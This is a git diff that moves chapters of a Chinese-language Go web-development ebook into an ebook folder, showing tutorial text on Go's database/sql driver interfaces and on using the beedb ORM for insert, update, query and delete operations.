通过这一章能够让你了解客户端和服务器端是如何进行数据上的交互,客户端将数据传递给服务器系统,服务器接受数据又把处理结果反馈给客户端。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [处理文件上传](<04.5.md>)
|
||||
* 下一章: [访问数据库](<05.0.md>)
|
||||
28
05.0.md → ebook/05.0.md
Executable file → Normal file
28
05.0.md → ebook/05.0.md
Executable file → Normal file
@@ -1,14 +1,14 @@
|
||||
# 5 访问数据库
|
||||
对许多Web应用程序而言,数据库都是其核心所在。数据库几乎可以用来存储你想查询和修改的任何信息,比如用户信息、产品目录或者新闻列表等。
|
||||
|
||||
Go没有内置的驱动支持任何的数据库,但是Go定义了database/sql接口,用户可以基于驱动接口开发相应数据库的驱动,5.1小节里面介绍Go设计的一些驱动,介绍Go是如何设计数据库驱动接口的。5.2至5.4小节介绍目前使用的比较多的一些关系型数据驱动以及如何使用,5.5小节介绍我自己开发一个ORM库,基于database/sql标准接口开发的,可以兼容几乎所有支持database/sql的数据库驱动,可以方便的使用Go style来进行数据库操作。
|
||||
|
||||
目前NOSQL已经成为Web开发的一个潮流,很多应用采用了NOSQL作为数据库,而不是以前的缓存,5.6小节将介绍MongoDB和Redis两种NOSQL数据库。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第四章总结](<04.6.md>)
|
||||
* 下一节: [database/sql接口](<05.1.md>)
|
||||
# 5 访问数据库
|
||||
对许多Web应用程序而言,数据库都是其核心所在。数据库几乎可以用来存储你想查询和修改的任何信息,比如用户信息、产品目录或者新闻列表等。
|
||||
|
||||
Go没有内置的驱动支持任何的数据库,但是Go定义了database/sql接口,用户可以基于驱动接口开发相应数据库的驱动,5.1小节里面介绍Go设计的一些驱动,介绍Go是如何设计数据库驱动接口的。5.2至5.4小节介绍目前使用的比较多的一些关系型数据驱动以及如何使用,5.5小节介绍我自己开发一个ORM库,基于database/sql标准接口开发的,可以兼容几乎所有支持database/sql的数据库驱动,可以方便的使用Go style来进行数据库操作。
|
||||
|
||||
目前NOSQL已经成为Web开发的一个潮流,很多应用采用了NOSQL作为数据库,而不是以前的缓存,5.6小节将介绍MongoDB和Redis两种NOSQL数据库。
|
||||
|
||||
## 目录
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第四章总结](<04.6.md>)
|
||||
* 下一节: [database/sql接口](<05.1.md>)
|
||||
408
05.1.md → ebook/05.1.md
Executable file → Normal file
408
05.1.md → ebook/05.1.md
Executable file → Normal file
@@ -1,204 +1,204 @@
|
||||
# 5.1 database/sql接口
|
||||
Go与PHP不同的地方是Go没有官方提供数据库驱动,而是为开发者开发数据库驱动定义了一些标准接口,开发者可以根据定义的接口来开发相应的数据库驱动,这样做有一个好处,只要按照标准接口开发的代码, 以后需要迁移数据库时,不需要任何修改。那么Go都定义了哪些标准接口呢?让我们来详细的分析一下
|
||||
|
||||
## sql.Register
|
||||
这个存在于database/sql的函数是用来注册数据库驱动的,当第三方开发者开发数据库驱动时,都会实现init函数,在init里面会调用这个`Register(name string, driver driver.Driver)`完成本驱动的注册。
|
||||
|
||||
我们来看一下mymysql、sqlite3的驱动里面都是怎么调用的:
|
||||
|
||||
//https://github.com/mattn/go-sqlite3驱动
|
||||
func init() {
|
||||
sql.Register("sqlite3", &SQLiteDriver{})
|
||||
}
|
||||
|
||||
//https://github.com/mikespook/mymysql驱动
|
||||
// Driver automatically registered in database/sql
|
||||
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
|
||||
func init() {
|
||||
Register("SET NAMES utf8")
|
||||
sql.Register("mymysql", &d)
|
||||
}
|
||||
|
||||
我们看到第三方数据库驱动都是通过调用这个函数来注册自己的数据库驱动名称以及相应的driver实现。在database/sql内部通过一个map来存储用户定义的相应驱动。
|
||||
|
||||
var drivers = make(map[string]driver.Driver)
|
||||
|
||||
drivers[name] = driver
|
||||
|
||||
因此通过database/sql的注册函数可以同时注册多个数据库驱动,只要不重复。
|
||||
|
||||
>在我们使用database/sql接口和第三方库的时候经常看到如下:
|
||||
|
||||
> import (
|
||||
> "database/sql"
|
||||
> _ "github.com/mattn/go-sqlite3"
|
||||
> )
|
||||
|
||||
>新手都会被这个`_`所迷惑,其实这个就是Go设计的巧妙之处,我们在变量赋值的时候经常看到这个符号,它是用来忽略变量赋值的占位符,那么包引入用到这个符号也是相似的作用,这儿使用`_`的意思是引入后面的包名而不直接使用这个包中定义的函数,变量等资源。
|
||||
|
||||
>我们在2.3节流程和函数的一节中介绍过init函数的初始化过程,包在引入的时候会自动调用包的init函数以完成对包的初始化。因此,我们引入上面的数据库驱动包之后要手动去调用init函数,然后在init函数里面注册这个数据库驱动,这样我们就可以在接下来的代码中直接使用这个数据库驱动了。
|
||||
|
||||
## driver.Driver
|
||||
Driver是一个数据库驱动的接口,他定义了一个method: Open(name string),这个方法返回一个数据库的Conn接口。
|
||||
|
||||
type Driver interface {
|
||||
Open(name string) (Conn, error)
|
||||
}
|
||||
|
||||
返回的Conn只能用来进行一次goroutine的操作,也就是说不能把这个Conn应用于Go的多个goroutine里面。如下代码会出现错误
|
||||
|
||||
...
|
||||
go goroutineA (Conn) //执行查询操作
|
||||
go goroutineB (Conn) //执行插入操作
|
||||
...
|
||||
|
||||
上面这样的代码可能会使Go不知道某个操作究竟是由哪个goroutine发起的,从而导致数据混乱,比如可能会把goroutineA里面执行的查询操作的结果返回给goroutineB从而使B错误地把此结果当成自己执行的插入数据。
|
||||
|
||||
第三方驱动都会定义这个函数,它会解析name参数来获取相关数据库的连接信息,解析完成后,它将使用此信息来初始化一个Conn并返回它。
|
||||
|
||||
## driver.Conn
|
||||
Conn是一个数据库连接的接口定义,他定义了一系列方法,这个Conn只能应用在一个goroutine里面,不能使用在多个goroutine里面,详情请参考上面的说明。
|
||||
|
||||
type Conn interface {
|
||||
Prepare(query string) (Stmt, error)
|
||||
Close() error
|
||||
Begin() (Tx, error)
|
||||
}
|
||||
|
||||
Prepare函数返回与当前连接相关的执行Sql语句的准备状态,可以进行查询、删除等操作。
|
||||
|
||||
Close函数关闭当前的连接,执行释放连接拥有的资源等清理工作。因为驱动实现了database/sql里面建议的conn pool,所以你不用再去实现缓存conn之类的,这样会容易引起问题。
|
||||
|
||||
Begin函数返回一个代表事务处理的Tx,通过它你可以进行查询,更新等操作,或者对事务进行回滚、递交。
|
||||
|
||||
## driver.Stmt
|
||||
Stmt是一种准备好的状态,和Conn相关联,而且只能应用于一个goroutine中,不能应用于多个goroutine。
|
||||
|
||||
type Stmt interface {
|
||||
Close() error
|
||||
NumInput() int
|
||||
Exec(args []Value) (Result, error)
|
||||
Query(args []Value) (Rows, error)
|
||||
}
|
||||
|
||||
Close函数关闭当前的链接状态,但是如果当前正在执行query,query还是有效返回rows数据。
|
||||
|
||||
NumInput函数返回当前预留参数的个数,当返回>=0时数据库驱动就会智能检查调用者的参数。当数据库驱动包不知道预留参数的时候,返回-1。
|
||||
|
||||
Exec函数执行Prepare准备好的sql,传入参数执行update/insert等操作,返回Result数据
|
||||
|
||||
Query函数执行Prepare准备好的sql,传入需要的参数执行select操作,返回Rows结果集
|
||||
|
||||
|
||||
## driver.Tx
|
||||
事务处理一般就两个过程,递交或者回滚。数据库驱动里面也只需要实现这两个函数就可以
|
||||
|
||||
type Tx interface {
|
||||
Commit() error
|
||||
Rollback() error
|
||||
}
|
||||
|
||||
这两个函数一个用来递交一个事务,一个用来回滚事务。
|
||||
|
||||
## driver.Execer
|
||||
这是一个Conn可选择实现的接口
|
||||
|
||||
type Execer interface {
|
||||
Exec(query string, args []Value) (Result, error)
|
||||
}
|
||||
|
||||
如果这个接口没有定义,那么在调用DB.Exec,就会首先调用Prepare返回Stmt,然后执行Stmt的Exec,然后关闭Stmt。
|
||||
|
||||
## driver.Result
|
||||
这个是执行Update/Insert等操作返回的结果接口定义
|
||||
|
||||
type Result interface {
|
||||
LastInsertId() (int64, error)
|
||||
RowsAffected() (int64, error)
|
||||
}
|
||||
|
||||
LastInsertId函数返回由数据库执行插入操作得到的自增ID号。
|
||||
|
||||
RowsAffected函数返回query操作影响的数据条目数。
|
||||
|
||||
## driver.Rows
|
||||
Rows是执行查询返回的结果集接口定义
|
||||
|
||||
type Rows interface {
|
||||
Columns() []string
|
||||
Close() error
|
||||
Next(dest []Value) error
|
||||
}
|
||||
|
||||
Columns函数返回查询数据库表的字段信息,这个返回的slice和sql查询的字段一一对应,而不是返回整个表的所有字段。
|
||||
|
||||
Close函数用来关闭Rows迭代器。
|
||||
|
||||
Next函数用来返回下一条数据,把数据赋值给dest。dest里面的元素必须是driver.Value的值除了string,返回的数据里面所有的string都必须要转换成[]byte。如果最后没数据了,Next函数最后返回io.EOF。
|
||||
|
||||
|
||||
## driver.RowsAffected
|
||||
RowsAffested其实就是一个int64的别名,但是他实现了Result接口,用来底层实现Result的表示方式
|
||||
|
||||
type RowsAffected int64
|
||||
|
||||
func (RowsAffected) LastInsertId() (int64, error)
|
||||
|
||||
func (v RowsAffected) RowsAffected() (int64, error)
|
||||
|
||||
## driver.Value
|
||||
Value其实就是一个空接口,他可以容纳任何的数据
|
||||
|
||||
type Value interface{}
|
||||
|
||||
drive的Value是驱动必须能够操作的Value,Value要么是nil,要么是下面的任意一种
|
||||
|
||||
int64
|
||||
float64
|
||||
bool
|
||||
[]byte
|
||||
string [*]除了Rows.Next返回的不能是string.
|
||||
time.Time
|
||||
|
||||
## driver.ValueConverter
|
||||
ValueConverter接口定义了如何把一个普通的值转化成driver.Value的接口
|
||||
|
||||
type ValueConverter interface {
|
||||
ConvertValue(v interface{}) (Value, error)
|
||||
}
|
||||
|
||||
在开发的数据库驱动包里面实现这个接口的函数在很多地方会使用到,这个ValueConverter有很多好处:
|
||||
|
||||
- 转化driver.value到数据库表相应的字段,例如int64的数据如何转化成数据库表uint16字段
|
||||
- 把数据库查询结果转化成driver.Value值
|
||||
- 在scan函数里面如何把dirve.Value值转化成用户定义的值
|
||||
|
||||
## driver.Valuer
|
||||
Valuer接口定义了返回一个driver.Value的方式
|
||||
|
||||
type Valuer interface {
|
||||
Value() (Value, error)
|
||||
}
|
||||
|
||||
很多类型都实现了这个Value方法,用来自身与driver.Value的转化。
|
||||
|
||||
通过上面的讲解,你应该对于驱动的开发有了一个基本的了解,一个驱动只要实现了这些接口就能完成增删查改等基本操作了,剩下的就是与相应的数据库进行数据交互等细节问题了,在此不再赘述。
|
||||
|
||||
## database/sql
|
||||
database/sql在database/sql/driver提供的接口基础上定义了一些更高阶的方法,用以简化数据库操作,同时内部还建议性地实现一个conn pool。
|
||||
|
||||
type DB struct {
|
||||
driver driver.Driver
|
||||
dsn string
|
||||
mu sync.Mutex // protects freeConn and closed
|
||||
freeConn []driver.Conn
|
||||
closed bool
|
||||
}
|
||||
|
||||
我们可以看到Open函数返回的是DB对象,里面有一个freeConn,它就是那个简易的连接池。它的实现相当简单或者说简陋,就是当执行Db.prepare的时候会`defer db.putConn(ci, err)`,也就是把这个连接放入连接池,每次调用conn的时候会先判断freeConn的长度是否大于0,大于0说明有可以复用的conn,直接拿出来用就是了,如果不大于0,则创建一个conn,然后再返回之。
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [访问数据库](<05.0.md>)
|
||||
* 下一节: [使用MySQL数据库](<05.2.md>)
|
||||
# 5.1 database/sql接口
|
||||
Go与PHP不同的地方是Go没有官方提供数据库驱动,而是为开发者开发数据库驱动定义了一些标准接口,开发者可以根据定义的接口来开发相应的数据库驱动,这样做有一个好处,只要按照标准接口开发的代码, 以后需要迁移数据库时,不需要任何修改。那么Go都定义了哪些标准接口呢?让我们来详细的分析一下
|
||||
|
||||
## sql.Register
|
||||
这个存在于database/sql的函数是用来注册数据库驱动的,当第三方开发者开发数据库驱动时,都会实现init函数,在init里面会调用这个`Register(name string, driver driver.Driver)`完成本驱动的注册。
|
||||
|
||||
我们来看一下mymysql、sqlite3的驱动里面都是怎么调用的:
|
||||
|
||||
//https://github.com/mattn/go-sqlite3驱动
|
||||
func init() {
|
||||
sql.Register("sqlite3", &SQLiteDriver{})
|
||||
}
|
||||
|
||||
//https://github.com/mikespook/mymysql驱动
|
||||
// Driver automatically registered in database/sql
|
||||
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
|
||||
func init() {
|
||||
Register("SET NAMES utf8")
|
||||
sql.Register("mymysql", &d)
|
||||
}
|
||||
|
||||
我们看到第三方数据库驱动都是通过调用这个函数来注册自己的数据库驱动名称以及相应的driver实现。在database/sql内部通过一个map来存储用户定义的相应驱动。
|
||||
|
||||
var drivers = make(map[string]driver.Driver)
|
||||
|
||||
drivers[name] = driver
|
||||
|
||||
因此通过database/sql的注册函数可以同时注册多个数据库驱动,只要不重复。
|
||||
|
||||
>在我们使用database/sql接口和第三方库的时候经常看到如下:
|
||||
|
||||
> import (
|
||||
> "database/sql"
|
||||
> _ "github.com/mattn/go-sqlite3"
|
||||
> )
|
||||
|
||||
>新手都会被这个`_`所迷惑,其实这个就是Go设计的巧妙之处,我们在变量赋值的时候经常看到这个符号,它是用来忽略变量赋值的占位符,那么包引入用到这个符号也是相似的作用,这儿使用`_`的意思是引入后面的包名而不直接使用这个包中定义的函数,变量等资源。
|
||||
|
||||
>我们在2.3节流程和函数的一节中介绍过init函数的初始化过程,包在引入的时候会自动调用包的init函数以完成对包的初始化。因此,我们引入上面的数据库驱动包之后要手动去调用init函数,然后在init函数里面注册这个数据库驱动,这样我们就可以在接下来的代码中直接使用这个数据库驱动了。
|
||||
|
||||
## driver.Driver
|
||||
Driver是一个数据库驱动的接口,他定义了一个method: Open(name string),这个方法返回一个数据库的Conn接口。
|
||||
|
||||
type Driver interface {
|
||||
Open(name string) (Conn, error)
|
||||
}
|
||||
|
||||
返回的Conn只能用来进行一次goroutine的操作,也就是说不能把这个Conn应用于Go的多个goroutine里面。如下代码会出现错误
|
||||
|
||||
...
|
||||
go goroutineA (Conn) //执行查询操作
|
||||
go goroutineB (Conn) //执行插入操作
|
||||
...
|
||||
|
||||
上面这样的代码可能会使Go不知道某个操作究竟是由哪个goroutine发起的,从而导致数据混乱,比如可能会把goroutineA里面执行的查询操作的结果返回给goroutineB从而使B错误地把此结果当成自己执行的插入数据。
|
||||
|
||||
第三方驱动都会定义这个函数,它会解析name参数来获取相关数据库的连接信息,解析完成后,它将使用此信息来初始化一个Conn并返回它。
|
||||
|
||||
## driver.Conn
|
||||
Conn是一个数据库连接的接口定义,他定义了一系列方法,这个Conn只能应用在一个goroutine里面,不能使用在多个goroutine里面,详情请参考上面的说明。
|
||||
|
||||
type Conn interface {
|
||||
Prepare(query string) (Stmt, error)
|
||||
Close() error
|
||||
Begin() (Tx, error)
|
||||
}
|
||||
|
||||
Prepare函数返回与当前连接相关的执行Sql语句的准备状态,可以进行查询、删除等操作。
|
||||
|
||||
Close函数关闭当前的连接,执行释放连接拥有的资源等清理工作。因为驱动实现了database/sql里面建议的conn pool,所以你不用再去实现缓存conn之类的,这样会容易引起问题。
|
||||
|
||||
Begin函数返回一个代表事务处理的Tx,通过它你可以进行查询,更新等操作,或者对事务进行回滚、递交。
|
||||
|
||||
## driver.Stmt
|
||||
Stmt是一种准备好的状态,和Conn相关联,而且只能应用于一个goroutine中,不能应用于多个goroutine。
|
||||
|
||||
type Stmt interface {
|
||||
Close() error
|
||||
NumInput() int
|
||||
Exec(args []Value) (Result, error)
|
||||
Query(args []Value) (Rows, error)
|
||||
}
|
||||
|
||||
Close函数关闭当前的链接状态,但是如果当前正在执行query,query还是有效返回rows数据。
|
||||
|
||||
NumInput函数返回当前预留参数的个数,当返回>=0时数据库驱动就会智能检查调用者的参数。当数据库驱动包不知道预留参数的时候,返回-1。
|
||||
|
||||
Exec函数执行Prepare准备好的sql,传入参数执行update/insert等操作,返回Result数据
|
||||
|
||||
Query函数执行Prepare准备好的sql,传入需要的参数执行select操作,返回Rows结果集
|
||||
|
||||
|
||||
## driver.Tx
|
||||
事务处理一般就两个过程,递交或者回滚。数据库驱动里面也只需要实现这两个函数就可以
|
||||
|
||||
type Tx interface {
|
||||
Commit() error
|
||||
Rollback() error
|
||||
}
|
||||
|
||||
这两个函数一个用来递交一个事务,一个用来回滚事务。
|
||||
|
||||
## driver.Execer
|
||||
这是一个Conn可选择实现的接口
|
||||
|
||||
type Execer interface {
|
||||
Exec(query string, args []Value) (Result, error)
|
||||
}
|
||||
|
||||
如果这个接口没有定义,那么在调用DB.Exec,就会首先调用Prepare返回Stmt,然后执行Stmt的Exec,然后关闭Stmt。
|
||||
|
||||
## driver.Result
|
||||
这个是执行Update/Insert等操作返回的结果接口定义
|
||||
|
||||
type Result interface {
|
||||
LastInsertId() (int64, error)
|
||||
RowsAffected() (int64, error)
|
||||
}
|
||||
|
||||
LastInsertId函数返回由数据库执行插入操作得到的自增ID号。
|
||||
|
||||
RowsAffected函数返回query操作影响的数据条目数。
|
||||
|
||||
## driver.Rows
|
||||
Rows是执行查询返回的结果集接口定义
|
||||
|
||||
type Rows interface {
|
||||
Columns() []string
|
||||
Close() error
|
||||
Next(dest []Value) error
|
||||
}
|
||||
|
||||
Columns函数返回查询数据库表的字段信息,这个返回的slice和sql查询的字段一一对应,而不是返回整个表的所有字段。
|
||||
|
||||
Close函数用来关闭Rows迭代器。
|
||||
|
||||
Next函数用来返回下一条数据,把数据赋值给dest。dest里面的元素必须是driver.Value的值除了string,返回的数据里面所有的string都必须要转换成[]byte。如果最后没数据了,Next函数最后返回io.EOF。
|
||||
|
||||
|
||||
## driver.RowsAffected
|
||||
RowsAffested其实就是一个int64的别名,但是他实现了Result接口,用来底层实现Result的表示方式
|
||||
|
||||
type RowsAffected int64
|
||||
|
||||
func (RowsAffected) LastInsertId() (int64, error)
|
||||
|
||||
func (v RowsAffected) RowsAffected() (int64, error)
|
||||
|
||||
## driver.Value
|
||||
Value其实就是一个空接口,他可以容纳任何的数据
|
||||
|
||||
type Value interface{}
|
||||
|
||||
drive的Value是驱动必须能够操作的Value,Value要么是nil,要么是下面的任意一种
|
||||
|
||||
int64
|
||||
float64
|
||||
bool
|
||||
[]byte
|
||||
string [*]除了Rows.Next返回的不能是string.
|
||||
time.Time
|
||||
|
||||
## driver.ValueConverter
|
||||
ValueConverter接口定义了如何把一个普通的值转化成driver.Value的接口
|
||||
|
||||
type ValueConverter interface {
|
||||
ConvertValue(v interface{}) (Value, error)
|
||||
}
|
||||
|
||||
在开发的数据库驱动包里面实现这个接口的函数在很多地方会使用到,这个ValueConverter有很多好处:
|
||||
|
||||
- 转化driver.value到数据库表相应的字段,例如int64的数据如何转化成数据库表uint16字段
|
||||
- 把数据库查询结果转化成driver.Value值
|
||||
- 在scan函数里面如何把dirve.Value值转化成用户定义的值
|
||||
|
||||
## driver.Valuer
|
||||
Valuer接口定义了返回一个driver.Value的方式
|
||||
|
||||
type Valuer interface {
|
||||
Value() (Value, error)
|
||||
}
|
||||
|
||||
很多类型都实现了这个Value方法,用来自身与driver.Value的转化。
|
||||
|
||||
通过上面的讲解,你应该对于驱动的开发有了一个基本的了解,一个驱动只要实现了这些接口就能完成增删查改等基本操作了,剩下的就是与相应的数据库进行数据交互等细节问题了,在此不再赘述。
|
||||
|
||||
## database/sql
|
||||
database/sql在database/sql/driver提供的接口基础上定义了一些更高阶的方法,用以简化数据库操作,同时内部还建议性地实现一个conn pool。
|
||||
|
||||
type DB struct {
|
||||
driver driver.Driver
|
||||
dsn string
|
||||
mu sync.Mutex // protects freeConn and closed
|
||||
freeConn []driver.Conn
|
||||
closed bool
|
||||
}
|
||||
|
||||
我们可以看到Open函数返回的是DB对象,里面有一个freeConn,它就是那个简易的连接池。它的实现相当简单或者说简陋,就是当执行Db.prepare的时候会`defer db.putConn(ci, err)`,也就是把这个连接放入连接池,每次调用conn的时候会先判断freeConn的长度是否大于0,大于0说明有可以复用的conn,直接拿出来用就是了,如果不大于0,则创建一个conn,然后再返回之。
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [访问数据库](<05.0.md>)
|
||||
* 下一节: [使用MySQL数据库](<05.2.md>)
|
||||
0
05.2.md → ebook/05.2.md
Executable file → Normal file
0
05.2.md → ebook/05.2.md
Executable file → Normal file
0
05.3.md → ebook/05.3.md
Executable file → Normal file
0
05.3.md → ebook/05.3.md
Executable file → Normal file
0
05.4.md → ebook/05.4.md
Executable file → Normal file
0
05.4.md → ebook/05.4.md
Executable file → Normal file
498
05.5.md → ebook/05.5.md
Executable file → Normal file
498
05.5.md → ebook/05.5.md
Executable file → Normal file
@@ -1,249 +1,249 @@
|
||||
# 5.5 使用beedb库进行ORM开发
|
||||
beedb是我开发的一个Go进行ORM操作的库,它采用了Go style方式对数据库进行操作,实现了struct到数据表记录的映射。beedb是一个十分轻量级的Go ORM框架,开发这个库的本意降低复杂的ORM学习曲线,尽可能在ORM的运行效率和功能之间寻求一个平衡,beedb是目前开源的Go ORM框架中实现比较完整的一个库,而且运行效率相当不错,功能也基本能满足需求。但是目前还不支持关系关联,这个是接下来版本升级的重点。
|
||||
|
||||
beedb是支持database/sql标准接口的ORM库,所以理论上来说,只要数据库驱动支持database/sql接口就可以无缝的接入beedb。目前我测试过的驱动包括下面几个:
|
||||
|
||||
Mysql:github.com/ziutek/mymysql/godrv[*]
|
||||
|
||||
Mysql:code.google.com/p/go-mysql-driver[*]
|
||||
|
||||
PostgreSQL:github.com/bmizerany/pq[*]
|
||||
|
||||
SQLite:github.com/mattn/go-sqlite3[*]
|
||||
|
||||
MS ADODB: github.com/mattn/go-adodb[*]
|
||||
|
||||
ODBC: bitbucket.org/miquella/mgodbc[*]
|
||||
|
||||
## 安装
|
||||
|
||||
beedb支持go get方式安装,是完全按照Go Style的方式来实现的。
|
||||
|
||||
go get github.com/astaxie/beedb
|
||||
|
||||
## 如何初始化
|
||||
首先你需要import相应的数据库驱动包、database/sql标准接口包以及beedb包,如下所示:
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"github.com/astaxie/beedb"
|
||||
_ "github.com/ziutek/mymysql/godrv"
|
||||
)
|
||||
|
||||
导入必须的package之后,我们需要打开到数据库的链接,然后创建一个beedb对象(以MySQL为例),如下所示
|
||||
|
||||
db, err := sql.Open("mymysql", "test/xiemengjun/123456")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
orm := beedb.New(db)
|
||||
|
||||
beedb的New函数实际上应该有两个参数,第一个参数标准接口的db,第二个参数是使用的数据库引擎,如果你使用的数据库引擎是MySQL/Sqlite,那么第二个参数都可以省略。
|
||||
|
||||
如果你使用的数据库是SQLServer,那么初始化需要:
|
||||
|
||||
orm = beedb.New(db, "mssql")
|
||||
|
||||
如果你使用了PostgreSQL,那么初始化需要:
|
||||
|
||||
orm = beedb.New(db, "pg")
|
||||
|
||||
目前beedb支持打印调试,你可以通过如下的代码实现调试
|
||||
|
||||
beedb.OnDebug=true
|
||||
|
||||
接下来我们的例子采用前面的数据库表Userinfo,现在我们建立相应的struct
|
||||
|
||||
type Userinfo struct {
|
||||
Uid int `PK` //如果表的主键不是id,那么需要加上pk注释,显式的说这个字段是主键
|
||||
Username string
|
||||
Departname string
|
||||
Created time.Time
|
||||
}
|
||||
|
||||
>注意一点,beedb针对驼峰命名会自动帮你转化成下划线字段,例如你定义了Struct名字为`UserInfo`,那么转化成底层实现的时候是`user_info`,字段命名也遵循该规则。
|
||||
|
||||
## 插入数据
|
||||
下面的代码演示了如何插入一条记录,可以看到我们操作的是strcut对象,而不是原生的sql语句,最后通过调用Save接口将数据保存到数据库。
|
||||
|
||||
var saveone Userinfo
|
||||
saveone.Username = "Test Add User"
|
||||
saveone.Departname = "Test Add Departname"
|
||||
saveone.Created = time.Now()
|
||||
orm.Save(&saveone)
|
||||
|
||||
我们看到插入之后`saveone.Uid`就是插入成功之后的自增ID。Save接口会自动帮你存进去。
|
||||
|
||||
beedb接口提供了另外一种插入的方式,map数据插入。
|
||||
|
||||
add := make(map[string]interface{})
|
||||
add["username"] = "astaxie"
|
||||
add["departname"] = "cloud develop"
|
||||
add["created"] = "2012-12-02"
|
||||
orm.SetTable("userinfo").Insert(add)
|
||||
|
||||
插入多条数据
|
||||
|
||||
addslice := make([]map[string]interface{})
|
||||
add:=make(map[string]interface{})
|
||||
add2:=make(map[string]interface{})
|
||||
add["username"] = "astaxie"
|
||||
add["departname"] = "cloud develop"
|
||||
add["created"] = "2012-12-02"
|
||||
add2["username"] = "astaxie2"
|
||||
add2["departname"] = "cloud develop2"
|
||||
add2["created"] = "2012-12-02"
|
||||
addslice =append(addslice, add, add2)
|
||||
orm.SetTable("userinfo").Insert(addslice)
|
||||
|
||||
上面的操作方式有点类似链式查询,熟悉jquery的同学应该会觉得很亲切,每次调用的method都会返回原orm对象,以便可以继续调用该对象上的其他method。
|
||||
|
||||
上面我们调用的SetTable函数是显式的告诉ORM,我要执行的这个map对应的数据库表是`userinfo`。
|
||||
|
||||
## 更新数据
|
||||
继续上面的例子来演示更新操作,现在saveone的主键已经有值了,此时调用save接口,beedb内部会自动调用update以进行数据的更新而非插入操作。
|
||||
|
||||
saveone.Username = "Update Username"
|
||||
saveone.Departname = "Update Departname"
|
||||
saveone.Created = time.Now()
|
||||
orm.Save(&saveone) //现在saveone有了主键值,就执行更新操作
|
||||
|
||||
更新数据也支持直接使用map操作
|
||||
|
||||
t := make(map[string]interface{})
|
||||
t["username"] = "astaxie"
|
||||
orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t)
|
||||
|
||||
这里我们调用了几个beedb的函数
|
||||
|
||||
SetPK:显式的告诉ORM,数据库表`userinfo`的主键是`uid`。
|
||||
|
||||
Where:用来设置条件,支持多个参数,第一个参数如果为整数,相当于调用了Where("主键=?",值)。
|
||||
Updata函数接收map类型的数据,执行更新数据。
|
||||
|
||||
## 查询数据
|
||||
beedb的查询接口比较灵活,具体使用请看下面的例子
|
||||
|
||||
例子1,根据主键获取数据:
|
||||
|
||||
var user Userinfo
|
||||
//Where接受两个参数,支持整形参数
|
||||
orm.Where("uid=?", 27).Find(&user)
|
||||
|
||||
|
||||
例子2:
|
||||
|
||||
var user2 Userinfo
|
||||
orm.Where(3).Find(&user2) // 这是上面版本的缩写版,可以省略主键
|
||||
|
||||
例子3,不是主键类型的的条件:
|
||||
|
||||
var user3 Userinfo
|
||||
//Where接受两个参数,支持字符型的参数
|
||||
orm.Where("name = ?", "john").Find(&user3)
|
||||
例子4,更加复杂的条件:
|
||||
|
||||
var user4 Userinfo
|
||||
//Where支持三个参数
|
||||
orm.Where("name = ? and age < ?", "john", 88).Find(&user4)
|
||||
|
||||
|
||||
可以通过如下接口获取多条数据,请看示例
|
||||
|
||||
例子1,根据条件id>3,获取20位置开始的10条数据的数据
|
||||
|
||||
var allusers []Userinfo
|
||||
err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers)
|
||||
|
||||
例子2,省略limit第二个参数,默认从0开始,获取10条数据
|
||||
|
||||
var tenusers []Userinfo
|
||||
err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers)
|
||||
|
||||
例子3,获取全部数据
|
||||
|
||||
var everyone []Userinfo
|
||||
err := orm.OrderBy("uid desc,username asc").FindAll(&everyone)
|
||||
|
||||
上面这些里面里面我们看到一个函数Limit,他是用来控制查询结构条数的。
|
||||
|
||||
Limit:支持两个参数,第一个参数表示查询的条数,第二个参数表示读取数据的起始位置,默认为0。
|
||||
|
||||
OrderBy:这个函数用来进行查询排序,参数是需要排序的条件。
|
||||
|
||||
上面这些例子都是将获取的的数据直接映射成struct对象,如果我们只是想获取一些数据到map,以下方式可以实现:
|
||||
|
||||
a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap()
|
||||
|
||||
上面和这个例子里面又出现了一个新的接口函数Select,这个函数用来指定需要查询多少个字段。默认为全部字段`*`。
|
||||
|
||||
FindMap()函数返回的是`[]map[string][]byte`类型,所以你需要自己作类型转换。
|
||||
|
||||
## 删除数据
|
||||
beedb提供了丰富的删除数据接口,请看下面的例子
|
||||
|
||||
例子1,删除单条数据
|
||||
|
||||
//saveone就是上面示例中的那个saveone
|
||||
orm.Delete(&saveone)
|
||||
|
||||
例子2,删除多条数据
|
||||
|
||||
//alluser就是上面定义的获取多条数据的slice
|
||||
orm.DeleteAll(&alluser)
|
||||
|
||||
例子3,根据sql删除数据
|
||||
|
||||
orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow()
|
||||
|
||||
|
||||
## 关联查询
|
||||
目前beedb还不支持struct的关联关系,但是有些应用却需要用到连接查询,所以现在beedb提供了一个简陋的实现方案:
|
||||
|
||||
a, _ := orm.SetTable("userinfo").Join("LEFT", "userdeatail", "userinfo.uid=userdeatail.uid").Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdeatail.profile").FindMap()
|
||||
|
||||
上面代码中我们看到了一个新的接口Join函数,这个函数带有三个参数
|
||||
|
||||
- 第一个参数可以是:INNER, LEFT, OUTER, CROSS等
|
||||
- 第二个参数表示连接的表
|
||||
- 第三个参数表示连接的条件
|
||||
|
||||
|
||||
## Group By和Having
|
||||
针对有些应用需要用到group by和having的功能,beedb也提供了一个简陋的实现
|
||||
|
||||
a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap()
|
||||
|
||||
上面的代码中出现了两个新接口函数
|
||||
|
||||
GroupBy:用来指定进行groupby的字段
|
||||
|
||||
Having:用来指定having执行的时候的条件
|
||||
|
||||
## 进一步的发展
|
||||
目前beedb已经获得了很多来自国内外用户的反馈,我目前也正在考虑重构,接下来会在几个方面进行改进
|
||||
|
||||
